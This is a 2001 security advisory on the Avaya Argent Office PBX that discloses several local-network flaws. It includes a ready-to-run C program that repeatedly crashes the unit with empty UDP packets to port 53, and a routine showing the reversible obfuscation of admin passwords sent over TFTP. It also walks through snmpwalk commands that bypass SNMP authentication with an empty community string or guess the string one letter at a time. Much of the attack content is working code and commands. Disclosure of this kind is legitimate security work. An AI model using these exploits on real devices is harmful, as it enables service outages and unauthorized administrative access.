COMMAND
Argent Office
SYSTEMS AFFECTED
Avaya Argent Office
PROBLEM
Jacek Lipkowski found following. The Argent branch of products
(now known as Network Alchemy line) from Avaya are a solution
integrating a PBX, network connectivity, dial on demand networking
etc. Jacek had some security concerns when he looked at it.
Since all of them are only possible on a local network (and since
this system is designed for small offices), they shouldn't be
much of a problem.
Local denial of service
=======================
By sending an udp packet to port 53 with no payload the Argent
Office reboots. The unit gets up very quickly so one needs to
send the packets repeatedly. Sample source code below:
/* argent_kill.c
(c) 2001 Jacek Lipkowski sq5bpf@acid.ch.pw.edu.pl
Reboots an Argent Office box by sending udp packets with no payload to port 53
usage: argent_kill ip_address
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
main(int argc, char *argv[])
{
struct sockaddr_in addr;
struct hostent *host;
int s;
s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s==-1) { perror("socket()"); exit(1); }
host=gethostbyname(argv[1]);
if (host==0) { herror("gethostbyname"); exit(1); }
memcpy(&addr.sin_addr,host->h_addr,host->h_length);
addr.sin_port=htons(53);
addr.sin_family=AF_INET;
if (connect(s,&addr,16)==-1) { perror("connect()"); exit(1); }
for (;;)
{
send(s,0,0,0); sleep(1); printf("."); fflush(stdout);
}
close(s);
}
Easily decryptable configuration password
=========================================
Configuring Argent Office consists of a strange tftp look-alike.
For example to reboot a unit one must get via tftp the following
file:
nasystem/rebootwhenfree/00e007002666/password//
Where 00e007002666 is the MAC address of the unit and password is
the obfuscated password. Since this packet is easily sniffed and
the obfuscation algorithm doesn't change, anyone with a sniffer
can easily obtain administrative privliges. The obfuscation
mechanism is rather simple, as the following example demonstrates:
/* argent_obfuscate.c
(c) 2001 Jacek Lipkowski sq5bpf@acid.ch.pw.edu.pl
demonstrates how the password obfuscation
mechanism works in argent office products */
main(int argc,char **argv)
{
int i;
unsigned char buf[32];
strcpy(&buf,argv[1]);
for (i=0;i<strlen(argv[1]);i++)
printf("0x%2.2X ",buf[i]+0x11-i);
printf("\n");
}
Show the hex values for the password 'idiocy':
~$ ./argent_obfuscate idiocy
0x7A 0x74 0x78 0x7D 0x70 0x85
Writing a decryption routine is left as an excercise to the
reader.
Dumb SNMP handling
==================
This is a really good one! The software does snmp authentication
via something similar to:
if (strncmp(n,c,strlen(n))==0) { ok, valid community}
Where c is the community string and n is the community string from
the network.
So basically if the size of the password in the packet is 0 then
the authentication is OK.
~$ snmpwalk 192.168.1.234 "" system.sysDescr.0
system.sysDescr.0 = ARGENT OFFICE CPU 2.1 (138)
You could also guess the community string character by character.
Guess the first letter:
~$ snmpwalk 192.168.1.234 a system.sysDescr.0
Timeout: No Response from 192.168.1.234
[the first letter is not a]
[several combinations later, is it p?]
~$ snmpwalk 192.168.1.234 p system.sysDescr.0
system.sysDescr.0 = ARGENT OFFICE CPU 2.1 (138)
[ok we have the first letter, lets go for the second]
~$ snmpwalk 192.168.1.234 pa system.sysDescr.0
Timeout: No Response from 192.168.1.234
[the second letter is not a]
[several combinations later, is it r?]
~$ snmpwalk 192.168.1.234 pr system.sysDescr.0
system.sysDescr.0 = ARGENT OFFICE CPU 2.1 (138)
etc... (the community is 'private')
While not much is gained by using snmp, the community may be some
company standard, and knowing it may open other doors.
Broadcast tftp requests
=======================
The system in it's default config requests a file called HoldMusic
via tftp to the broadcast address. You could probably serve the
file and change your company's music on hold tune to something
more interesting.
All these vulnerabilities can be excercised only from internal
interfaces (haven't found a way to kill it from the dialup
interface), so the impact is usually minor (the local staff could
lauch a much more destructive dos attack using a hammer), unless
your network is public or has other entry points.
SOLUTION
Nothing yet.